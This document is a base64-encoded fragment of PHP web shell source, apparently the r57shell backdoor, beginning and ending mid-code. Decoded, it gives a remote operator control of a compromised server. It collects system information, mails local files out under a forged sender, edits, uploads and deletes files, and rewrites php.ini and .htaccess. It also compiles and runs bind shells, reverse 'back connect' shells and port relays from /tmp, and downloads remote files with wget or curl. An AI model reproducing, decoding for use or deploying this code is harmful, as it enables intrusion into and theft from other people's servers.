O31lbHNle2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk9GRjwvZm9udD4iO30NCmVjaG8gIjwvYj4iLndzKDIpOw0KZWNobyAiUG9zdGdyZVNRTDogPGI+IjsNCiRwZ19vbiA9IEBmdW5jdGlvbl9leGlzdHMoJ3BnX2Nvbm5lY3QnKTsNCmlmKCRwZ19vbil7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+Ii53cygyKTsNCmVjaG8gIk9yYWNsZTogPGI+IjsNCiRvcmFfb24gPSBAZnVuY3Rpb25fZXhpc3RzKCdvY2lsb2dvbicpOw0KaWYoJG9yYV9vbil7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+T048L2ZvbnQ+Ijt9ZWxzZXtlY2hvICI8Zm9udCBjb2xvcj1XaGl0ZT5PRkY8L2ZvbnQ+Ijt9DQplY2hvICI8L2I+PGJyPiIud3MoMik7DQplY2hvICJEaXNhYmxlIGZ1bmN0aW9ucyA6IDxiPiI7DQppZignJz09KCRkZj1AaW5pX2dldCgnZGlzYWJsZV9mdW5jdGlvbnMnKSkpe2VjaG8gIjxmb250IGNvbG9yPVdoaXRlPk5PTkU8L2ZvbnQ+PC9iPiI7fWVsc2V7ZWNobyAiPGZvbnQgY29sb3I9V2hpdGU+JGRmPC9mb250PjwvYj4iO30NCiRmcmVlID0gQGRpc2tmcmVlc3BhY2UoJGRpcik7DQppZiAoISRmcmVlKSB7JGZyZWUgPSAwO30NCiRhbGwgPSBAZGlza190b3RhbF9zcGFjZSgkZGlyKTsNCmlmICghJGFsbCkgeyRhbGwgPSAwO30NCmVjaG8gIjxicj4iLndzKDIpLiJGcmVlIHNwYWNlIDogPGI+Ii52aWV3X3NpemUoJGZyZWUpLiI8L2I+IFRvdGFsIHNwYWNlOiA8Yj4iLnZpZXdfc2l6ZSgkYWxsKS4iPC9iPiI7DQplY2hvICc8L2ZvbnQ+PC90ZD48L3RyPjx0YWJsZT4NCjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPg0KPHRyPjx0ZCBjbGFzcz1tYWluIGFsaWduPXJpZ2h0IHdpZHRoPTEwMD4nOw0KZWNobyAkZm9udDsNCmlmKCR1bml4KXsNCmVjaG8gJzxmb250IGNvbG9yPVdoaXRlPjxiPnVuYW1lIC1hIDonLndzKDEpLic8YnI+c3lzY3RsIDonLndzKDEpLic8YnI+JE9TVFlQRSA6Jy53cygxKS4nPGJyPlNlcnZlciA6Jy53cygxKS4nPGJyPmlkIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOw0KZWNobyAnPC90ZD48dGQgIGNsYXNzPW1haW4+JzsNCmVjaG8gIjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yIGNvbG9yPVdoaXRlPjxiPiI7DQplY2hvKCghZW1wdHkoJHVuYW1lKSk/KHdzKDMpLkBzdWJzdHIoJHVuYW1lLDAsMTIwKS4iPGJyPiIpOih3cygzKS5Ac3Vic3RyKEBwaHBfdW5hbWUoKSwwLDEyMCkuIjxicj4iKSk7DQplY2hvIHdzKDMpLiRzeXNjdGwuIjxicj4iOw0KZWNobyB3cygzKS5leCgnZWNobyAkT1NUWVBFJykuIjxicj4iOw0KZWNobyB3cygzKS5Ac3Vic3RyKCRTRVJWRVJfU09GVFdBUkUsMCwxMjApLiI8YnI+IjsNCmlmKCFlbXB0eSgkaWQpKSB7IGVjaG8gd3MoMykuJGlkLiI8YnI+IjsgfQ0KZWxzZSBpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGV1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGVnaWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykgJiYgZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpKQ0KIHsNCiAkZXVzZXJpbmZvICA9IEBwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKTsNCiAkZWdyb3VwaW5mbyA9IEBwb3NpeF9nZXRncmdpZChAcG9zaXhfZ2V0ZWdpZCgpKTsNCiBlY2hvIHdzKDMpLid1aWQ9Jy4kZXVzZXJpbmZvWyd1aWQnXS4nICggJy4kZXVzZXJpbmZvWyduYW1lJ10uJyApIGdpZD0nLiRlZ3JvdXBpbmZvWydnaWQnXS4nICggJy4kZWdyb3VwaW5mb1snbmFtZSddLicgKTxicj4nOw0KIH0NCmVsc2UgZWNobyB3cygzKS4idXNlcj0iLkBnZXRfY3VycmVudF91c2VyKCkuIiB1aWQ9Ii5AZ2V0bXl1aWQoKS4iIGdpZD0iLkBnZXRteWdpZCgpLiI8YnI+IjsNCmVjaG8gd3MoMykuJGRpcjsNCmVjaG8gd3MoMykuJyggJy5wZXJtcyhAZmlsZXBlcm1zKCRkaXIpKS4nICknOw0KZWNobyAiPC9iPjwvZm9udD4iOw0KfQ0KZWxzZQ0Kew0KZWNobyAnPGZvbnQgY29sb3I9V2hpdGU+PGI+T1MgOicud3MoMSkuJzxicj5TZXJ2ZXIgOicud3MoMSkuJzxicj5Vc2VyIDonLndzKDEpLic8YnI+cHdkIDonLndzKDEpLic8L2I+PC9mb250Pjxicj4nOw0KZWNobyAnPC90ZD48dGQgY2xhc3M9bWFpbj4nOw0KZWNobyAiPGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTIgY29sb3I9V2hpdGU+PGI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cihAcGhwX3VuYW1lKCksMCwxMjApLiI8YnI+IjsNCmVjaG8gd3MoMykuQHN1YnN0cigkU0VSVkVSX1NPRlRXQVJFLDAsMTIwKS4iPGJyPiI7DQplY2hvIHdzKDMpLkBnZXRlbnYoIlVTRVJOQU1FIikuIjxicj4iOw0KDQplY2hvIHdzKDMpLiRkaXI7DQplY2hvICI8YnI+PC9mb250PiI7DQp9DQplY2hvICI8L2ZvbnQ+IjsNCmVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQokZiA9ICc8YnI+JzsNCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWFpbCIpDQogew0KICRyZXMgPSBtYWlsKCRfUE9TVFsndG8nXSwkX1BPU1RbJ3N1YmonXSwkX1BPU1RbJ3RleHQnXSwiRnJvbTogIi4kX1BPU1RbJ2Zyb20nXS4iXHJcbiIpOw0KIGVycig2KyRyZXMpOw0KICRfUE9TVFsnY21kJ109IiI7DQogfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJtYWlsX2ZpbGUiICYmICFlbXB0eSgkX1BPU1RbJ2xvY19maWxlJ10pKQ0KIHsNCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnbG9jX2ZpbGUnXSwiciIpKSB7IGVycigxLCRfUE9TVFsnbG9jX2ZpbGUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiBlbHNlDQogIHsNCiAgICAkZmlsZW5hbWUgPSBAYmFzZW5hbWUoJF9QT1NUWydsb2NfZmlsZSddKTsNCiAgICAkZmlsZWR1bXAgPSBAZnJlYWQoJGZpbGUsQGZpbGVzaXplKCRfUE9TVFsnbG9jX2ZpbGUnXSkpOw0KICAgIGZjbG9zZSgkZmlsZSk7DQogICAgJGNvbnRlbnRfZW5jb2Rpbmc9JG1pbWVfdHlwZT0nJzsNCiAgICBjb21wcmVzcygkZmlsZW5hbWUsJGZpbGVkdW1wLCRfUE9TVFsnY29tcHJlc3MnXSk7DQogICAgJGF0dGFjaCA9IGFycmF5KA0KICAgICAgICAgICAgICAgICAgICAibmFtZSI9PiRmaWxlbmFtZSwNCiAgICAgICAgICAgICAgICAgICAgInR5cGUiPT4kbWltZV90eXBlLA0KICAgICAgICAgICAgICAgICAgICAiY29udGVudCI9PiRmaWxlZHVtcA0KICAgICAgICAgICAgICAgICAgICk7DQogICAgaWYoZW1wdHkoJF9QT1NUWydzdWJqJ10pKSB7ICRfUE9TVFsnc3ViaiddID0gJ2ZpbGUgZnJvbSByNTdzaGVsbCc7IH0NCiAgICBpZihlbXB0eSgkX1BPU1RbJ2Zyb20nXSkpIHsgJF9QT1NUWydmcm9tJ10gPSAnYmlsbHlAbWljcm9zb2Z0LmNvbSc7IH0NCiAgICAkcmVzID0gbWFpbGF0dGFjaCgkX1BPU1RbJ3RvJ10sJF9QT1NUWydmcm9tJ10sJF9QT1NUWydzdWJqJ10sJGF0dGFjaCk7DQogICAgZXJyKDYrJHJlcyk7DQogICAgJF9QT1NUWydjbWQnXT0iIjsNCiAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddID09ICJmaW5kX3RleHQiKQ0Kew0KJF9QT1NUWydjbWQnXSA9ICdmaW5kICcuJF9QT1NUWydzX2RpciddLicgLW5hbWUgXCcnLiRfUE9TVFsnc19tYXNrJ10uJ1wnIHwgeGFyZ3MgZ3JlcCAtRSBcJycuJF9QT1NUWydzX3RleHQnXS4nXCcnOw0KfQ0KaWYoIWVtcHR5KCRfUE9TVFsnY21kJ10pICYmICRfUE9TVFsnY21kJ109PSJjaF8iKQ0KIHsNCiBzd2l0Y2goJF9QT1NUWyd3aGF0J10pDQogICB7DQogICBjYXNlICdvd24nOg0KICAgQGNob3duKCRfUE9TVFsncGFyYW0xJ10sJF9QT1NUWydwYXJhbTInXSk7DQogICBicmVhazsNCiAgIGNhc2UgJ2dycCc6DQogICBAY2hncnAoJF9QT1NUWydwYXJhbTEnXSwkX1BPU1RbJ3BhcmFtMiddKTsNCiAgIGJyZWFrOw0KICAgY2FzZSAnbW9kJzoNCiAgIEBjaG1vZCgkX1BPU1RbJ3BhcmFtMSddLGludHZhbCgkX1BPU1RbJ3BhcmFtMiddLCA4KSk7DQogICBicmVhazsNCiAgIH0NCiAkX1BPU1RbJ2NtZCddPSIiOw0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0ibWsiKQ0KIHsNCiAgIHN3aXRjaCgkX1BPU1RbJ3doYXQnXSkNCiAgIHsNCiAgICAgY2FzZSAnZmlsZSc6DQogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKQ0KICAgICAgIHsNCiAgICAgICBpZihmaWxlX2V4aXN0cygkX1BPU1RbJ21rX25hbWUnXSkgfHwgISRmaWxlPUBmb3BlbigkX1BPU1RbJ21rX25hbWUnXSwidyIpKSB7IGVycigyLCRfUE9TVFsnbWtfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KICAgICAgIGVsc2Ugew0KICAgICAgICBmY2xvc2UoJGZpbGUpOw0KICAgICAgICAkX1BPU1RbJ2VfbmFtZSddID0gJF9QT1NUWydta19uYW1lJ107DQogICAgICAgICRfUE9TVFsnY21kJ109ImVkaXRfZmlsZSI7DQogICAgICAgIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYxJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAgfQ0KICAgICAgIH0NCiAgICAgICBlbHNlIGlmKCRfUE9TVFsnYWN0aW9uJ10gPT0gImRlbGV0ZSIpDQogICAgICAgew0KICAgICAgIGlmKHVubGluaygkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDYzJ10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgIH0NCiAgICAgYnJlYWs7DQogICAgIGNhc2UgJ2Rpcic6DQogICAgICBpZigkX1BPU1RbJ2FjdGlvbiddID09ICJjcmVhdGUiKXsNCiAgICAgIGlmKG1rZGlyKCRfUE9TVFsnbWtfbmFtZSddKSkNCiAgICAgICB7DQogICAgICAgICAkX1BPU1RbJ2NtZCddPSIiOw0KICAgICAgICAgZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIGJnY29sb3I9V2hpdGU+PHRyPjx0ZCBjbGFzcz1tYWluIGJnY29sb3I9QmxhY2s+PGRpdiBhbGlnbj1jZW50ZXI+PGZvbnQgZmFjZT1WZXJkYW5hIHNpemU9LTI+PGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NjInXS4iPC9iPjwvZm9udD48L2Rpdj48L3RkPjwvdHI+PC90YWJsZT4iOw0KICAgICAgIH0NCiAgICAgIGVsc2UgeyBlcnIoMiwkX1BPU1RbJ21rX25hbWUnXSk7ICRfUE9TVFsnY21kJ109IiI7IH0NCiAgICAgIH0NCiAgICAgIGVsc2UgaWYoJF9QT1NUWydhY3Rpb24nXSA9PSAiZGVsZXRlIil7DQogICAgICBpZihybWRpcigkX1BPU1RbJ21rX25hbWUnXSkpIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY0J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiAgICAgICRfUE9TVFsnY21kJ109IiI7DQogICAgICB9DQogICAgIGJyZWFrOw0KICAgfQ0KIH0NCmlmKCFlbXB0eSgkX1BPU1RbJ2NtZCddKSAmJiAkX1BPU1RbJ2NtZCddPT0iZWRpdF9maWxlIiAmJiAhZW1wdHkoJF9QT1NUWydlX25hbWUnXSkpDQogew0KIGlmKCEkZmlsZT1AZm9wZW4oJF9QT1NUWydlX25hbWUnXSwicisiKSkgeyAkb25seV9yZWFkID0gMTsgQGZjbG9zZSgkZmlsZSk7IH0NCiBpZighJGZpbGU9QGZvcGVuKCRfUE9TVFsnZV9uYW1lJ10sInIiKSkgeyBlcnIoMSwkX1BPU1RbJ2VfbmFtZSddKTsgJF9QT1NUWydjbWQnXT0iIjsgfQ0KIGVsc2Ugew0KIGVjaG8gJHRhYmxlX3VwMzsNCiBlY2hvICRmb250Ow0KIGVjaG8gIjxmb3JtIG5hbWU9c2F2ZV9maWxlIG1ldGhvZD1wb3N0PiI7DQogZWNobyB3cygzKS4iPGI+Ii4kX1BPU1RbJ2VfbmFtZSddLiI8L2I+IjsNCiBlY2hvICI8ZGl2IGFsaWduPWNlbnRlcj48dGV4dGFyZWEgbmFtZT1lX3RleHQgY29scz0xMjEgcm93cz0yND4iOw0KIGVjaG8gQGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmaWxlLEBmaWxlc2l6ZSgkX1BPU1RbJ2VfbmFtZSddKSkpOw0KIGZjbG9zZSgkZmlsZSk7DQogZWNobyAiPC90ZXh0YXJlYT4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWVfbmFtZSB2YWx1ZT0iLiRfUE9TVFsnZV9uYW1lJ10uIj4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWRpciB2YWx1ZT0iLiRkaXIuIj4iOw0KIGVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNtZCB2YWx1ZT1zYXZlX2ZpbGU+IjsNCiBlY2hvICghZW1wdHkoJG9ubHlfcmVhZCk/KCI8YnI+PGJyPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ0J10pOigiPGJyPjxicj48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9XCIgIi4kbGFuZ1skbGFuZ3VhZ2UuJ19idXR0MTAnXS4iIFwiPiIpKTsNCiBlY2hvICI8L2Rpdj4iOw0KIGVjaG8gIjwvZm9udD4iOw0KIGVjaG8gIjwvZm9ybT4iOw0KIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogZXhpdCgpOw0KIH0NCiB9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgJF9QT1NUWydjbWQnXT09InNhdmVfZmlsZSIpDQogew0KICRtdGltZSA9IEBmaWxlbXRpbWUoJF9QT1NUWydlX25hbWUnXSk7DQogaWYoISRmaWxlPUBmb3BlbigkX1BPU1RbJ2VfbmFtZSddLCJ3IikpIHsgZXJyKDAsJF9QT1NUWydlX25hbWUnXSk7IH0NCiBlbHNlIHsNCiBpZigkdW5peCkgJF9QT1NUWydlX3RleHQnXT1Ac3RyX3JlcGxhY2UoIlxyXG4iLCJcbiIsJF9QT1NUWydlX3RleHQnXSk7DQogQGZ3cml0ZSgkZmlsZSwkX1BPU1RbJ2VfdGV4dCddKTsNCiBAdG91Y2goJF9QT1NUWydlX25hbWUnXSwkbXRpbWUsJG10aW1lKTsNCiAkX1BPU1RbJ2NtZCddPSIiOw0KIGVjaG8gIjx0YWJsZSB3aWR0aD0xMDAlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCBiZ2NvbG9yPVdoaXRlPjx0cj48dGQgY2xhc3M9bWFpbiBiZ2NvbG9yPUJsYWNrPjxkaXYgYWxpZ249Y2VudGVyPjxmb250IGZhY2U9VmVyZGFuYSBzaXplPS0yPjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQ1J10uIjwvYj48L2ZvbnQ+PC9kaXY+PC90ZD48L3RyPjwvdGFibGU+IjsNCiB9DQogfQ0KDQppZiAoIWVtcHR5KCRfUE9TVFsncG9ydCddKSYmIWVtcHR5KCRfUE9TVFsnYmluZF9wYXNzJ10pJiYoJF9QT1NUWyd1c2UnXT09IkMiKSkNCnsNCiBjZigiL3RtcC9iZC5jIiwkcG9ydF9iaW5kX2JkX2MpOw0KICRibGFoID0gZXgoImdjYyAtbyAvdG1wL2JkIC90bXAvYmQuYyIpOw0KIEB1bmxpbmsoIi90bXAvYmQuYyIpOw0KICRibGFoID0gZXgoIi90bXAvYmQgIi4kX1BPU1RbJ3BvcnQnXS4iICIuJF9QT1NUWydiaW5kX3Bhc3MnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZCI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsncGhwX2luaTEnXSkpDQp7DQogY2YoInBocC5pbmkiLCRwaHBfaW5pMSk7DQogICRfUE9TVFsnY21kJ109IiBEYSB3cml0ZSB4b25nIHBocC5pbmkgdGh1PyB0aHU/IGNvaSBkaSI7DQogfQ0KDQogaWYgKCFlbXB0eSgkX1BPU1RbJ2h0YWNjZXMnXSkpDQp7DQogY2YoIi5odGFjY2VzcyIsJGh0YWNjZXMpOw0KICAkX1BPU1RbJ2NtZCddPSJEYSB3cml0ZSB4b25nIGh0YWNjZXNzIHRodT8gdGh1PyBjb2kgZGkgIjsNCiB9DQogIGlmICghZW1wdHkoJF9QT1NUWydmaWxlX2luaSddKSkNCnsNCiBjZigiaW5pLnBocCIsJHNuaV9yZXMpOw0KDQogICRfUE9TVFsnY21kJ109IiBodHRwOi8vdGFyZ2V0LmNvbS9pbmkucGhwP3NzPWh0dHA6Ly9zaGVsbC50eHQ/IERhIHdyaXRlIHhvbmcgaW5pLnBocCB0aHUgeGVtIF5eISI7DQogfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3BvcnQnXSkmJiFlbXB0eSgkX1BPU1RbJ2JpbmRfcGFzcyddKSYmKCRfUE9TVFsndXNlJ109PSJQZXJsIikpDQp7DQogY2YoIi90bXAvYmRwbCIsJHBvcnRfYmluZF9iZF9wbCk7DQogJHAyPXdoaWNoKCJwZXJsIik7DQogJGJsYWggPSBleCgkcDIuIiAvdG1wL2JkcGwgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBiZHBsIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iUGVybCIpKQ0Kew0KIGNmKCIvdG1wL2JhY2siLCRiYWNrX2Nvbm5lY3QpOw0KICRwMj13aGljaCgicGVybCIpOw0KICRibGFoID0gZXgoJHAyLiIgL3RtcC9iYWNrICIuJF9QT1NUWydpcCddLiIgIi4kX1BPU1RbJ3BvcnQnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJlY2hvIFwiTm93IHNjcmlwdCB0cnkgY29ubmVjdCB0byAiLiRfUE9TVFsnaXAnXS4iIHBvcnQgIi4kX1BPU1RbJ3BvcnQnXS4iIC4uLlwiIjsNCn0NCmlmICghZW1wdHkoJF9QT1NUWydpcCddKSAmJiAhZW1wdHkoJF9QT1NUWydwb3J0J10pICYmICgkX1BPU1RbJ3VzZSddPT0iQyIpKQ0Kew0KIGNmKCIvdG1wL2JhY2suYyIsJGJhY2tfY29ubmVjdF9jKTsNCiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9iYWNrYyAvdG1wL2JhY2suYyIpOw0KIEB1bmxpbmsoIi90bXAvYmFjay5jIik7DQogJGJsYWggPSBleCgiL3RtcC9iYWNrYyAiLiRfUE9TVFsnaXAnXS4iICIuJF9QT1NUWydwb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0iZWNobyBcIk5vdyBzY3JpcHQgdHJ5IGNvbm5lY3QgdG8gIi4kX1BPU1RbJ2lwJ10uIiBwb3J0ICIuJF9QT1NUWydwb3J0J10uIiAuLi5cIiI7DQp9DQppZiAoIWVtcHR5KCRfUE9TVFsnbG9jYWxfcG9ydCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfaG9zdCddKSAmJiAhZW1wdHkoJF9QT1NUWydyZW1vdGVfcG9ydCddKSAmJiAoJF9QT1NUWyd1c2UnXT09IlBlcmwiKSkNCnsNCiBjZigiL3RtcC9kcCIsJGRhdGFwaXBlX3BsKTsNCiAkcDI9d2hpY2goInBlcmwiKTsNCiAkYmxhaCA9IGV4KCRwMi4iIC90bXAvZHAgIi4kX1BPU1RbJ2xvY2FsX3BvcnQnXS4iICIuJF9QT1NUWydyZW1vdGVfaG9zdCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAmIik7DQogJF9QT1NUWydjbWQnXT0icHMgLWF1eCB8IGdyZXAgZHAiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2xvY2FsX3BvcnQnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX2hvc3QnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtb3RlX3BvcnQnXSkgJiYgKCRfUE9TVFsndXNlJ109PSJDIikpDQp7DQogY2YoIi90bXAvZHBjLmMiLCRkYXRhcGlwZV9jKTsNCiAkYmxhaCA9IGV4KCJnY2MgLW8gL3RtcC9kcGMgL3RtcC9kcGMuYyIpOw0KIEB1bmxpbmsoIi90bXAvZHBjLmMiKTsNCiAkYmxhaCA9IGV4KCIvdG1wL2RwYyAiLiRfUE9TVFsnbG9jYWxfcG9ydCddLiIgIi4kX1BPU1RbJ3JlbW90ZV9wb3J0J10uIiAiLiRfUE9TVFsncmVtb3RlX2hvc3QnXS4iICYiKTsNCiAkX1BPU1RbJ2NtZCddPSJwcyAtYXV4IHwgZ3JlcCBkcGMiOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ2FsaWFzJ10pICYmIGlzc2V0KCRhbGlhc2VzWyRfUE9TVFsnYWxpYXMnXV0pKSB7ICRfUE9TVFsnY21kJ10gPSAkYWxpYXNlc1skX1BPU1RbJ2FsaWFzJ11dOyB9DQppZiAoIWVtcHR5KCRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXSkpDQp7DQppZighZW1wdHkoJF9QT1NUWyduZXdfbmFtZSddKSkgeyAkbmZuID0gJF9QT1NUWyduZXdfbmFtZSddOyB9DQplbHNlIHsgJG5mbiA9ICRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXTsgfQ0KQGNvcHkoJEhUVFBfUE9TVF9GSUxFU1sndXNlcmZpbGUnXVsndG1wX25hbWUnXSwNCiAgICAgICAgICAgICRfUE9TVFsnZGlyJ10uIi8iLiRuZm4pDQogICAgICBvciBwcmludCgiPGZvbnQgY29sb3I9V2hpdGUgZmFjZT1GaXhlZHN5cz48ZGl2IGFsaWduPWNlbnRlcj5FcnJvciB1cGxvYWRpbmcgZmlsZSAiLiRIVFRQX1BPU1RfRklMRVNbJ3VzZXJmaWxlJ11bJ25hbWUnXS4iPC9kaXY+PC9mb250PiIpOw0KfQ0KaWYgKCFlbXB0eSgkX1BPU1RbJ3dpdGgnXSkgJiYgIWVtcHR5KCRfUE9TVFsncmVtX2ZpbGUnXSkgJiYgIWVtcHR5KCRfUE9TVFsnbG9jX2ZpbGUnXSkpDQp7DQogc3dpdGNoKCRfUE9TVFsnd2l0aCddKQ0KIHsNCiBjYXNlIHdnZXQ6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCd3Z2V0JykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIC1PICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgZmV0Y2g6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdmZXRjaCcpLiIgLW8gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiAtcCAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGx5bng6DQogJF9QT1NUWydjbWQnXSA9IHdoaWNoKCdseW54JykuIiAtc291cmNlICIuJF9QT1NUWydyZW1fZmlsZSddLiIgPiAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiBjYXNlIGxpbmtzOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnbGlua3MnKS4iIC1zb3VyY2UgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiA+ICIuJF9QT1NUWydsb2NfZmlsZSddLiIiOw0KIGJyZWFrOw0KIGNhc2UgR0VUOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnR0VUJykuIiAiLiRfUE9TVFsncmVtX2ZpbGUnXS4iID4gIi4kX1BPU1RbJ2xvY19maWxlJ10uIiI7DQogYnJlYWs7DQogY2FzZSBjdXJsOg0KICRfUE9TVFsnY21kJ10gPSB3aGljaCgnY3VybCcpLiIgIi4kX1BPU1RbJ3JlbV9maWxlJ10uIiAtbyAiLiRfUE9TVFsnbG9jX2ZpbGUnXS4iIjsNCiBicmVhazsNCiB9DQp9DQppZighZW1wdHkoJF9QT1NUWydjbWQnXSkgJiYgKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV91cCIgfHwgJF9QT1NUWydjbWQnXT09ImZ0cF9maWxlX2Rvd24iKSkNCiB7DQogbGlzdCgkZnRwX3NlcnZlciwkZnRwX3BvcnQpID0gc3BsaXQoIjoiLCRfUE9TVFsnZnRwX3NlcnZlcl9wb3J0J10pOw0KIGlmKGVtcHR5KCRmdHBfcG9ydCkpIHsgJGZ0cF9wb3J0ID0gMjE7IH0NCiAkY29ubmVjdGlvbiA9IEBmdHBfY29ubmVjdCAoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsNCiBpZighJGNvbm5lY3Rpb24pIHsgZXJyKDMpOyB9DQogZWxzZQ0KICB7DQogIGlmKCFAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCRfUE9TVFsnZnRwX2xvZ2luJ10sJF9QT1NUWydmdHBfcGFzc3dvcmQnXSkpIHsgZXJyKDQpOyB9DQogIGVsc2UNCiAgIHsNCiAgIGlmKCRfUE9TVFsnY21kJ109PSJmdHBfZmlsZV9kb3duIikgeyBpZihjaG9wKCRfUE9TVFsnbG9jX2ZpbGUnXSk9PSRkaXIpIHsgJF9QT1NUWydsb2NfZmlsZSddPSRkaXIuKCghJHVuaXgpPygnXFwnKTooJy8nKSkuYmFzZW5hbWUoJF9QT1NUWydmdHBfZmlsZSddKTsgfSBAZnRwX2dldCgkY29ubmVjdGlvbiwkX1BPU1RbJ2xvY19maWxlJ10sJF9QT1NUWydmdHBfZmlsZSddLCRfUE9TVFsnbW9k